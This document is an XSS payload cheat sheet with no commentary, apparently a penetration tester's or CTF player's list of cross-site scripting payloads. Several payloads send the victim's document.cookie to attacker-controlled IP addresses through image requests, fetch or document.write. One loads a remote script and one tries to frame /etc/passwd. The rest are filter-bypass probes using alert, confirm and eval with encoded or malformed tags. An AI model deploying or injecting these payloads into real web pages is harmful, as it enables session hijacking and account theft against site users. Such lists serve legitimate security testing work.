XSS Payload Cheat Sheet

<svg/onload="alert(document.cookie)">

<iframe src="data:image/svg+xml;base64,CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CiAgPGNpcmNsZSByPSIxMCIgY3g9IjEwIiBjeT0iMTAiIGZpbGw9ImdyZWVuIi8+CiAgPGltYWdlIGhyZWY9IngiIG9uZXJyb3I9ImphdmFzY3JpcHQ6YWxlcnQoJ1hTUycpIiAvPgo8L3N2Zz4="></iframe>

<script>var i=new Image(); i.src="http://10.10.14.54/?cookie="+btoa(document.cookie);</script>

<script>var i=new Image;i.src="http://10.10.14.7:8888/?cookie="+document.cookie;</script>

<script> document.write('<img src="http://10.10.14.54/?cookie='+document.cookie+'" />'); </script>

<img src/onerror=this.src="http://10.10.14.74/?cookie="+btoa(document.cookie)>

<img src="http://10.10.14.54/" onload="var i=0;if(i++)this.src+='?cookie='+encodeURIComponent(document.cookie);"/>

<script>fetch('http://10.10.14.19:8000/?cookie=' + btoa(document.cookie));</script>

<img src=xasdasdasd onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>


<img src=gdgdgdfgert onerror="document.write('<script src=http://127.0.0.1/test.js></script>')"/>


<img src=x onerror=fetch('http://10.10.xx.xx/?cookie='+document.cookie);>

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window "></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>